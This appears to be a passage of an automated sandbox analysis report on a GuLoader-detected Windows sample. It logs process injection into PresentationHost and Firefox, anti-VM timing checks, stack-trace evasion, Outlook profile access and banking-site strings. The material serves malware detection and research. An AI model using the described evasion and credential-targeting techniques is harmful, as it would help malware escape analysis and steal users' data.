            Source: C:\Program Files (x86)\NstZKonQwHYKhhiOvPvNYHbFrfrAEoZxgSnOJHBqALaXmsrSuGwzsStknKXvhYDB\Kf2uv5NZsp.exeProcess created: C:\Windows\SysWOW64\PresentationHost.exe "C:\Windows\SysWOW64\PresentationHost.exe"
            Source: C:\Windows\SysWOW64\PresentationHost.exeProcess created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeProcess created: C:\Users\user\Desktop\mF8WNclxnv.exe "C:\Users\user\Desktop\mF8WNclxnv.exe"Jump to behavior
            Source: C:\Program Files (x86)\NstZKonQwHYKhhiOvPvNYHbFrfrAEoZxgSnOJHBqALaXmsrSuGwzsStknKXvhYDB\Kf2uv5NZsp.exeProcess created: C:\Windows\SysWOW64\PresentationHost.exe "C:\Windows\SysWOW64\PresentationHost.exe"Jump to behavior
            Source: C:\Windows\SysWOW64\PresentationHost.exeProcess created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"Jump to behavior
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeSection loaded: uxtheme.dllJump to behavior
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeSection loaded: userenv.dllJump to behavior
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeSection loaded: apphelp.dllJump to behavior
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeSection loaded: propsys.dllJump to behavior
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeSection loaded: dwmapi.dllJump to behavior
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeSection loaded: cryptbase.dllJump to behavior
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeSection loaded: oleacc.dllJump to behavior
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeSection loaded: version.dllJump to behavior
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeSection loaded: shfolder.dllJump to behavior
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeSection loaded: kernel.appcore.dllJump to behavior
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeSection loaded: windows.storage.dllJump to behavior
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeSection loaded: wldp.dllJump to behavior
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeSection loaded: riched20.dllJump to behavior
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeSection loaded: usp10.dllJump to behavior
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeSection loaded: msls31.dllJump to behavior
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeSection loaded: textinputframework.dllJump to behavior
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeSection loaded: coreuicomponents.dllJump to behavior
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeSection loaded: coremessaging.dllJump to behavior
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeSection loaded: ntmarta.dllJump to behavior
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeSection loaded: coremessaging.dllJump to behavior
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeSection loaded: wintypes.dllJump to behavior
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeSection loaded: wintypes.dllJump to behavior
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeSection loaded: wintypes.dllJump to behavior
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeSection loaded: textshaping.dllJump to behavior
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeSection loaded: profapi.dllJump to behavior
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeSection loaded: iertutil.dllJump to behavior
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeSection loaded: sspicli.dllJump to behavior
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeSection loaded: powrprof.dllJump to behavior
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeSection loaded: winhttp.dllJump to behavior
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeSection loaded: wkscli.dllJump to behavior
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeSection loaded: netutils.dllJump to behavior
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeSection loaded: umpdc.dllJump to behavior
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeSection loaded: wininet.dllJump to behavior
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeSection loaded: windows.storage.dllJump to behavior
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeSection loaded: wldp.dllJump to behavior
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeSection loaded: profapi.dllJump to behavior
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeSection loaded: kernel.appcore.dllJump to behavior
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeSection loaded: mswsock.dllJump to behavior
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeSection loaded: iphlpapi.dllJump to behavior
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeSection loaded: winnsi.dllJump to behavior
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeSection loaded: urlmon.dllJump to behavior
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeSection loaded: srvcli.dllJump to behavior
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeSection loaded: dnsapi.dllJump to behavior
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeSection loaded: rasadhlp.dllJump to behavior
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeSection loaded: fwpuclnt.dllJump to behavior
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeSection loaded: schannel.dllJump to behavior
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeSection loaded: mskeyprotect.dllJump to behavior
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeSection loaded: ntasn1.dllJump to behavior
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeSection loaded: msasn1.dllJump to behavior
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeSection loaded: dpapi.dllJump to behavior
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeSection loaded: cryptsp.dllJump to behavior
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeSection loaded: rsaenh.dllJump to behavior
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeSection loaded: cryptbase.dllJump to behavior
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeSection loaded: gpapi.dllJump to behavior
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeSection loaded: ncrypt.dllJump to behavior
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeSection loaded: ncryptsslp.dllJump to behavior
            Source: C:\Program Files (x86)\NstZKonQwHYKhhiOvPvNYHbFrfrAEoZxgSnOJHBqALaXmsrSuGwzsStknKXvhYDB\Kf2uv5NZsp.exeSection loaded: wininet.dllJump to behavior
            Source: C:\Program Files (x86)\NstZKonQwHYKhhiOvPvNYHbFrfrAEoZxgSnOJHBqALaXmsrSuGwzsStknKXvhYDB\Kf2uv5NZsp.exeSection loaded: mswsock.dllJump to behavior
            Source: C:\Program Files (x86)\NstZKonQwHYKhhiOvPvNYHbFrfrAEoZxgSnOJHBqALaXmsrSuGwzsStknKXvhYDB\Kf2uv5NZsp.exeSection loaded: dnsapi.dllJump to behavior
            Source: C:\Program Files (x86)\NstZKonQwHYKhhiOvPvNYHbFrfrAEoZxgSnOJHBqALaXmsrSuGwzsStknKXvhYDB\Kf2uv5NZsp.exeSection loaded: iphlpapi.dllJump to behavior
            Source: C:\Program Files (x86)\NstZKonQwHYKhhiOvPvNYHbFrfrAEoZxgSnOJHBqALaXmsrSuGwzsStknKXvhYDB\Kf2uv5NZsp.exeSection loaded: fwpuclnt.dllJump to behavior
            Source: C:\Program Files (x86)\NstZKonQwHYKhhiOvPvNYHbFrfrAEoZxgSnOJHBqALaXmsrSuGwzsStknKXvhYDB\Kf2uv5NZsp.exeSection loaded: rasadhlp.dllJump to behavior
            Source: C:\Windows\SysWOW64\PresentationHost.exeSection loaded: version.dllJump to behavior
            Source: C:\Windows\SysWOW64\PresentationHost.exeSection loaded: mscoree.dllJump to behavior
            Source: C:\Windows\SysWOW64\PresentationHost.exeSection loaded: wininet.dllJump to behavior
            Source: C:\Windows\SysWOW64\PresentationHost.exeSection loaded: urlmon.dllJump to behavior
            Source: C:\Windows\SysWOW64\PresentationHost.exeSection loaded: iertutil.dllJump to behavior
            Source: C:\Windows\SysWOW64\PresentationHost.exeSection loaded: srvcli.dllJump to behavior
            Source: C:\Windows\SysWOW64\PresentationHost.exeSection loaded: netutils.dllJump to behavior
            Source: C:\Windows\SysWOW64\PresentationHost.exeSection loaded: kernel.appcore.dllJump to behavior
            Source: C:\Windows\SysWOW64\PresentationHost.exeSection loaded: uxtheme.dllJump to behavior
            Source: C:\Windows\SysWOW64\PresentationHost.exeSection loaded: ieframe.dllJump to behavior
            Source: C:\Windows\SysWOW64\PresentationHost.exeSection loaded: netapi32.dllJump to behavior
            Source: C:\Windows\SysWOW64\PresentationHost.exeSection loaded: userenv.dllJump to behavior
            Source: C:\Windows\SysWOW64\PresentationHost.exeSection loaded: winhttp.dllJump to behavior
            Source: C:\Windows\SysWOW64\PresentationHost.exeSection loaded: wkscli.dllJump to behavior
            Source: C:\Windows\SysWOW64\PresentationHost.exeSection loaded: sspicli.dllJump to behavior
            Source: C:\Windows\SysWOW64\PresentationHost.exeSection loaded: windows.storage.dllJump to behavior
            Source: C:\Windows\SysWOW64\PresentationHost.exeSection loaded: wldp.dllJump to behavior
            Source: C:\Windows\SysWOW64\PresentationHost.exeSection loaded: profapi.dllJump to behavior
            Source: C:\Windows\SysWOW64\PresentationHost.exeSection loaded: secur32.dllJump to behavior
            Source: C:\Windows\SysWOW64\PresentationHost.exeSection loaded: mlang.dllJump to behavior
            Source: C:\Windows\SysWOW64\PresentationHost.exeSection loaded: propsys.dllJump to behavior
            Source: C:\Windows\SysWOW64\PresentationHost.exeSection loaded: winsqlite3.dllJump to behavior
            Source: C:\Windows\SysWOW64\PresentationHost.exeSection loaded: vaultcli.dllJump to behavior
            Source: C:\Windows\SysWOW64\PresentationHost.exeSection loaded: wintypes.dllJump to behavior
            Source: C:\Windows\SysWOW64\PresentationHost.exeSection loaded: dpapi.dllJump to behavior
            Source: C:\Windows\SysWOW64\PresentationHost.exeSection loaded: cryptbase.dllJump to behavior
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32Jump to behavior
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeFile written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\dataindustris\attributtildelingerne\Vedisk\Pipestems.iniJump to behavior
            Source: C:\Windows\SysWOW64\PresentationHost.exeKey opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\Jump to behavior
            Source: mF8WNclxnv.exeStatic PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
            Source: Binary string: mshtml.pdb source: mF8WNclxnv.exe, 00000008.00000001.1885572559.0000000000649000.00000020.00000001.01000000.0000000B.sdmp
            Source: Binary string: PresentationHost.pdbGCTL source: mF8WNclxnv.exe, 00000008.00000003.2241843226.0000000033761000.00000004.00000020.00020000.00000000.sdmp, mF8WNclxnv.exe, 00000008.00000003.2241933753.000000003379E000.00000004.00000020.00020000.00000000.sdmp, Kf2uv5NZsp.exe, 0000000B.00000003.2212021580.0000000001354000.00000004.00000020.00020000.00000000.sdmp
            Source: Binary string: wntdll.pdbUGP source: mF8WNclxnv.exe, 00000008.00000002.2314678715.0000000033B1E000.00000040.00001000.00020000.00000000.sdmp, mF8WNclxnv.exe, 00000008.00000003.2182217941.00000000337D0000.00000004.00000020.00020000.00000000.sdmp, mF8WNclxnv.exe, 00000008.00000002.2314678715.0000000033980000.00000040.00001000.00020000.00000000.sdmp, mF8WNclxnv.exe, 00000008.00000003.2179625223.0000000033628000.00000004.00000020.00020000.00000000.sdmp, PresentationHost.exe, 0000000C.00000002.3426507724.00000000052A0000.00000040.00001000.00020000.00000000.sdmp
            Source: Binary string: wntdll.pdb source: mF8WNclxnv.exe, mF8WNclxnv.exe, 00000008.00000002.2314678715.0000000033B1E000.00000040.00001000.00020000.00000000.sdmp, mF8WNclxnv.exe, 00000008.00000003.2182217941.00000000337D0000.00000004.00000020.00020000.00000000.sdmp, mF8WNclxnv.exe, 00000008.00000002.2314678715.0000000033980000.00000040.00001000.00020000.00000000.sdmp, mF8WNclxnv.exe, 00000008.00000003.2179625223.0000000033628000.00000004.00000020.00020000.00000000.sdmp, PresentationHost.exe, PresentationHost.exe, 0000000C.00000002.3426507724.00000000052A0000.00000040.00001000.00020000.00000000.sdmp
            Source: Binary string: PresentationHost.pdb source: mF8WNclxnv.exe, 00000008.00000003.2241843226.0000000033761000.00000004.00000020.00020000.00000000.sdmp, mF8WNclxnv.exe, 00000008.00000003.2241933753.000000003379E000.00000004.00000020.00020000.00000000.sdmp, Kf2uv5NZsp.exe, 0000000B.00000003.2212021580.0000000001354000.00000004.00000020.00020000.00000000.sdmp
            Source: Binary string: mshtml.pdbUGP source: mF8WNclxnv.exe, 00000008.00000001.1885572559.0000000000649000.00000020.00000001.01000000.0000000B.sdmp
            Source: Binary string: C:\Work\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: Kf2uv5NZsp.exe, 0000000B.00000000.2196614572.00000000000BF000.00000002.00000001.01000000.0000000E.sdmp

            Data Obfuscation

            barindex
            Yara detected GuLoader
            Source: Yara matchFile source: 00000000.00000002.1888435402.000000000681A000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 0_2_10001B18 GlobalAlloc,lstrcpyW,lstrcpyW,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyW,GetModuleHandleW,LoadLibraryW,GetProcAddress,lstrlenW,0_2_10001B18
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 0_2_10002DE0 push eax; ret 0_2_10002E0E
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339B09AD push ecx; mov dword ptr [esp], ecx8_2_339B09B6
            Source: C:\Program Files (x86)\NstZKonQwHYKhhiOvPvNYHbFrfrAEoZxgSnOJHBqALaXmsrSuGwzsStknKXvhYDB\Kf2uv5NZsp.exeCode function: 11_2_04D4145E push esp; ret 11_2_04D4145F
            Source: C:\Program Files (x86)\NstZKonQwHYKhhiOvPvNYHbFrfrAEoZxgSnOJHBqALaXmsrSuGwzsStknKXvhYDB\Kf2uv5NZsp.exeCode function: 11_2_04D52565 push ss; ret 11_2_04D5256F
            Source: C:\Program Files (x86)\NstZKonQwHYKhhiOvPvNYHbFrfrAEoZxgSnOJHBqALaXmsrSuGwzsStknKXvhYDB\Kf2uv5NZsp.exeCode function: 11_2_04D59E35 push edi; retf 11_2_04D59E3B
            Source: C:\Program Files (x86)\NstZKonQwHYKhhiOvPvNYHbFrfrAEoZxgSnOJHBqALaXmsrSuGwzsStknKXvhYDB\Kf2uv5NZsp.exeCode function: 11_2_04D387EA push edx; ret 11_2_04D387EB
            Source: C:\Program Files (x86)\NstZKonQwHYKhhiOvPvNYHbFrfrAEoZxgSnOJHBqALaXmsrSuGwzsStknKXvhYDB\Kf2uv5NZsp.exeCode function: 11_2_04D43760 pushfd ; ret 11_2_04D43761
            Source: C:\Program Files (x86)\NstZKonQwHYKhhiOvPvNYHbFrfrAEoZxgSnOJHBqALaXmsrSuGwzsStknKXvhYDB\Kf2uv5NZsp.exeCode function: 11_2_04D430D8 push ss; ret 11_2_04D430E2
            Source: C:\Program Files (x86)\NstZKonQwHYKhhiOvPvNYHbFrfrAEoZxgSnOJHBqALaXmsrSuGwzsStknKXvhYDB\Kf2uv5NZsp.exeCode function: 11_2_04D38885 pushfd ; ret 11_2_04D3888D
            Source: C:\Program Files (x86)\NstZKonQwHYKhhiOvPvNYHbFrfrAEoZxgSnOJHBqALaXmsrSuGwzsStknKXvhYDB\Kf2uv5NZsp.exeCode function: 11_2_04D3D254 pushfd ; iretd 11_2_04D3D259
            Source: C:\Program Files (x86)\NstZKonQwHYKhhiOvPvNYHbFrfrAEoZxgSnOJHBqALaXmsrSuGwzsStknKXvhYDB\Kf2uv5NZsp.exeCode function: 11_2_04D43A6C push edi; ret 11_2_04D43AA5
            Source: C:\Program Files (x86)\NstZKonQwHYKhhiOvPvNYHbFrfrAEoZxgSnOJHBqALaXmsrSuGwzsStknKXvhYDB\Kf2uv5NZsp.exeCode function: 11_2_04D36B0E pushad ; iretd 11_2_04D36B11
            Source: C:\Program Files (x86)\NstZKonQwHYKhhiOvPvNYHbFrfrAEoZxgSnOJHBqALaXmsrSuGwzsStknKXvhYDB\Kf2uv5NZsp.exeCode function: 11_2_07BE96B5 push ss; ret 11_2_07BE96BF
            Source: C:\Program Files (x86)\NstZKonQwHYKhhiOvPvNYHbFrfrAEoZxgSnOJHBqALaXmsrSuGwzsStknKXvhYDB\Kf2uv5NZsp.exeCode function: 11_2_07BEAE22 push edi; ret 11_2_07BEAE98
            Source: C:\Program Files (x86)\NstZKonQwHYKhhiOvPvNYHbFrfrAEoZxgSnOJHBqALaXmsrSuGwzsStknKXvhYDB\Kf2uv5NZsp.exeCode function: 11_2_07BE9D3D pushfd ; ret 11_2_07BE9D3E
            Source: C:\Program Files (x86)\NstZKonQwHYKhhiOvPvNYHbFrfrAEoZxgSnOJHBqALaXmsrSuGwzsStknKXvhYDB\Kf2uv5NZsp.exeCode function: 11_2_07BE5492 push esp; iretd 11_2_07BE5530
            Source: C:\Program Files (x86)\NstZKonQwHYKhhiOvPvNYHbFrfrAEoZxgSnOJHBqALaXmsrSuGwzsStknKXvhYDB\Kf2uv5NZsp.exeCode function: 11_2_07C00412 push edi; retf 11_2_07C00418
            Source: C:\Program Files (x86)\NstZKonQwHYKhhiOvPvNYHbFrfrAEoZxgSnOJHBqALaXmsrSuGwzsStknKXvhYDB\Kf2uv5NZsp.exeCode function: 11_2_07BF8B42 push ss; ret 11_2_07BF8B4C
            Source: C:\Program Files (x86)\NstZKonQwHYKhhiOvPvNYHbFrfrAEoZxgSnOJHBqALaXmsrSuGwzsStknKXvhYDB\Kf2uv5NZsp.exeCode function: 11_2_07BF08F7 pushad ; iretd 11_2_07BF08F8
            Source: C:\Program Files (x86)\NstZKonQwHYKhhiOvPvNYHbFrfrAEoZxgSnOJHBqALaXmsrSuGwzsStknKXvhYDB\Kf2uv5NZsp.exeCode function: 11_2_07BDD0EB pushad ; iretd 11_2_07BDD0EE
            Source: C:\Program Files (x86)\NstZKonQwHYKhhiOvPvNYHbFrfrAEoZxgSnOJHBqALaXmsrSuGwzsStknKXvhYDB\Kf2uv5NZsp.exeCode function: 11_2_07BE3831 pushfd ; iretd 11_2_07BE3836
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_052A27FA pushad ; ret 12_2_052A27F9
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_052A225F pushad ; ret 12_2_052A27F9
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_052D09AD push ecx; mov dword ptr [esp], ecx12_2_052D09B6
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_052A283D push eax; iretd 12_2_052A2858
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_02F76310 push edi; ret 12_2_02F76386
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_02F685D9 pushad ; iretd 12_2_02F685DC
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_02F74BA3 push ss; ret 12_2_02F74BAD
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_02F6ED1F pushfd ; iretd 12_2_02F6ED24
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_02F75219 pushfd ; ret 12_2_02F7522C
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_02F75537 push edi; ret 12_2_02F75570

            Persistence and Installation Behavior

            barindex
            AI detected suspicious PE digital signature
            Source: Initial sampleJoe Sandbox AI: Detected suspicious elements in PE signature: Multiple highly suspicious indicators: 1) Self-signed certificate (issuer same as subject) which is not trusted by system. 2) Organization 'Menuetterne' is not a known legitimate company. 3) Email domain 'Udstdelse.In' appears suspicious and non-corporate. 4) Large time gap between compilation date (2016) and certificate creation (2024) suggests possible certificate manipulation. 5) The OU field contains strange text 'Superlogicality borebiller' that appears randomly generated. 6) While location claims US (Houston, Texas), the organization name and email domain suggest non-US origins, indicating potential location spoofing. 7) Certificate validation explicitly failed with untrusted root certificate error. The combination of self-signing, suspicious organization details, and validation failure strongly suggests this is a malicious certificate.
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeFile created: C:\Users\user\AppData\Local\Temp\nsg95EC.tmp\System.dllJump to dropped file
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeFile created: C:\Users\user\AppData\Local\Temp\nsg95EC.tmp\LangDLL.dllJump to dropped file
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\PresentationHost.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\PresentationHost.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\PresentationHost.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\PresentationHost.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\PresentationHost.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior

            Malware Analysis System Evasion

            barindex
            Switches to a custom stack to bypass stack traces
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeAPI/Special instruction interceptor: Address: 6E85C72
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeAPI/Special instruction interceptor: Address: 32B5C72
            Source: C:\Windows\SysWOW64\PresentationHost.exeAPI/Special instruction interceptor: Address: 7FFA424ED324
            Source: C:\Windows\SysWOW64\PresentationHost.exeAPI/Special instruction interceptor: Address: 7FFA424ED7E4
            Source: C:\Windows\SysWOW64\PresentationHost.exeAPI/Special instruction interceptor: Address: 7FFA424ED944
            Source: C:\Windows\SysWOW64\PresentationHost.exeAPI/Special instruction interceptor: Address: 7FFA424ED504
            Source: C:\Windows\SysWOW64\PresentationHost.exeAPI/Special instruction interceptor: Address: 7FFA424ED544
            Source: C:\Windows\SysWOW64\PresentationHost.exeAPI/Special instruction interceptor: Address: 7FFA424ED1E4
            Source: C:\Windows\SysWOW64\PresentationHost.exeAPI/Special instruction interceptor: Address: 7FFA424F0154
            Source: C:\Windows\SysWOW64\PresentationHost.exeAPI/Special instruction interceptor: Address: 7FFA424EDA44
            Tries to detect virtualization through RDTSC time measurements
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeRDTSC instruction interceptor: First address: 6E483EC second address: 6E483EC instructions: 0x00000000 rdtsc 0x00000002 cmp ebx, ecx 0x00000004 jc 00007F50F87098B5h 0x00000006 cmp eax, 3CFAB7FFh 0x0000000b inc ebp 0x0000000c inc ebx 0x0000000d rdtsc
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeRDTSC instruction interceptor: First address: 32783EC second address: 32783EC instructions: 0x00000000 rdtsc 0x00000002 cmp ebx, ecx 0x00000004 jc 00007F50F92543B5h 0x00000006 cmp eax, 3CFAB7FFh 0x0000000b inc ebp 0x0000000c inc ebx 0x0000000d rdtsc
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A2D1C0 rdtsc 8_2_33A2D1C0
            Source: C:\Windows\SysWOW64\PresentationHost.exeWindow / User API: threadDelayed 481Jump to behavior
            Source: C:\Windows\SysWOW64\PresentationHost.exeWindow / User API: threadDelayed 9492Jump to behavior
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsg95EC.tmp\System.dllJump to dropped file
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsg95EC.tmp\LangDLL.dllJump to dropped file
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeAPI coverage: 0.1 %
            Source: C:\Windows\SysWOW64\PresentationHost.exeAPI coverage: 2.9 %
            Source: C:\Program Files (x86)\NstZKonQwHYKhhiOvPvNYHbFrfrAEoZxgSnOJHBqALaXmsrSuGwzsStknKXvhYDB\Kf2uv5NZsp.exe TID: 2116Thread sleep time: -50000s >= -30000sJump to behavior
            Source: C:\Windows\SysWOW64\PresentationHost.exe TID: 1992Thread sleep count: 481 > 30Jump to behavior
            Source: C:\Windows\SysWOW64\PresentationHost.exe TID: 1992Thread sleep time: -962000s >= -30000sJump to behavior
            Source: C:\Windows\SysWOW64\PresentationHost.exe TID: 1992Thread sleep count: 9492 > 30Jump to behavior
            Source: C:\Windows\SysWOW64\PresentationHost.exe TID: 1992Thread sleep time: -18984000s >= -30000sJump to behavior
            Source: C:\Windows\SysWOW64\PresentationHost.exeLast function: Thread delayed
            Source: C:\Windows\SysWOW64\PresentationHost.exeLast function: Thread delayed
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 0_2_0040596F CloseHandle,GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,0_2_0040596F
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 0_2_004064C1 FindFirstFileW,FindClose,0_2_004064C1
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 0_2_004027FB FindFirstFileW,0_2_004027FB
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_02F7CC50 FindFirstFileW,FindNextFileW,FindClose,12_2_02F7CC50
            Source: 75EG3OW_L.12.drBinary or memory string: dev.azure.comVMware20,11696497155j
            Source: 75EG3OW_L.12.drBinary or memory string: global block list test formVMware20,11696497155
            Source: 75EG3OW_L.12.drBinary or memory string: turbotax.intuit.comVMware20,11696497155t
            Source: PresentationHost.exe, 0000000C.00000002.3428898470.0000000008434000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: nara Change Transaction PasswordVMware20,1169649
            Source: 75EG3OW_L.12.drBinary or memory string: Interactive Brokers - COM.HKVMware20,11696497155
            Source: PresentationHost.exe, 0000000C.00000002.3428898470.0000000008434000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: www.interactivebrokers.co.inVMware20,1169649*
            Source: PresentationHost.exe, 0000000C.00000002.3428898470.0000000008434000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: www.interactivebrokers.comVMware20l
            Source: PresentationHost.exe, 0000000C.00000002.3428898470.0000000008434000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: bankofamerica.comVMware20,116964971r
            Source: PresentationHost.exe, 0000000C.00000002.3428898470.0000000008434000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: discord.comVMware20,1@
            Source: mF8WNclxnv.exe, 00000008.00000002.2286522038.00000000039DF000.00000004.00000020.00020000.00000000.sdmp, mF8WNclxnv.exe, 00000008.00000002.2286449185.00000000039C4000.00000004.00000020.00020000.00000000.sdmp, mF8WNclxnv.exe, 00000008.00000003.2180153393.00000000039DF000.00000004.00000020.00020000.00000000.sdmp, mF8WNclxnv.exe, 00000008.00000002.2286449185.0000000003988000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW
            Source: 75EG3OW_L.12.drBinary or memory string: Interactive Brokers - HKVMware20,11696497155]
            Source: 75EG3OW_L.12.drBinary or memory string: secure.bankofamerica.comVMware20,11696497155|UE
            Source: 75EG3OW_L.12.drBinary or memory string: tasks.office.comVMware20,11696497155o
            Source: 75EG3OW_L.12.drBinary or memory string: Canara Change Transaction PasswordVMware20,11696497155
            Source: PresentationHost.exe, 0000000C.00000002.3428898470.0000000008434000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: x.intuit.comVMware20,11696497155t
            Source: PresentationHost.exe, 0000000C.00000002.3425025369.000000000336E000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000000D.00000002.2566109603.000001AF5E04C000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
            Source: 75EG3OW_L.12.drBinary or memory string: Interactive Brokers - EU East & CentralVMware20,11696497155
            Source: 75EG3OW_L.12.drBinary or memory string: bankofamerica.comVMware20,11696497155x
            Source: 75EG3OW_L.12.drBinary or memory string: ms.portal.azure.comVMware20,11696497155
            Source: 75EG3OW_L.12.drBinary or memory string: trackpan.utiitsl.comVMware20,11696497155h
            Source: 75EG3OW_L.12.drBinary or memory string: Interactive Brokers - GDCDYNVMware20,11696497155p
            Source: 75EG3OW_L.12.drBinary or memory string: Interactive Brokers - EU WestVMware20,11696497155n
            Source: 75EG3OW_L.12.drBinary or memory string: interactivebrokers.co.inVMware20,11696497155d
